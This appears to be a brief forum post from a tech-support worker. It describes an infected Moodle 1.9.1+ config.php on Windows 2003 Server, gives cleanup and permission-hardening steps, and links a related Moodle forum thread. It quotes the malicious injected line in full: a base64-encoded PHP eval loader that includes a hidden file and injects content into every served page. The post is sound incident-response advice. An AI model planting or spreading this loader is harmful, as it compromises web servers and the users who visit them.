Windows 2003 Server, Moodle 1.9.1+
Check your config.php file. If it has anything above:
"<?php /// Moodle Configuration File "
Delete it and save config.php Reset the security on the config.php file to not allow anything but the System or Administrators to write/modify the config.php file.
After an install of Navicat, this code was placed in the first line of config.php: <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCdEOi9JbmV0cHViL21vb2RsZS9sYW5nL2VuX3V0ZjgvaGVscC9lbnJvbC9hdXRob3JpemUvaW1hZ2VzL21kbF91dGYucGhwJykpe2luY2x1ZGVfb25jZSgnRDovSW5ldHB1Yi9tb29kbGUvbGFuZy9lbl91dGY4L2hlbHAvZW5yb2wvYXV0aG9yaXplL2ltYWdlcy9tZGxfdXRmLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
There is an article addressing this subject at: http://moodle.org/mod/forum/discuss.php?d=111710
Ted J. Thrasher
OABS Tech Support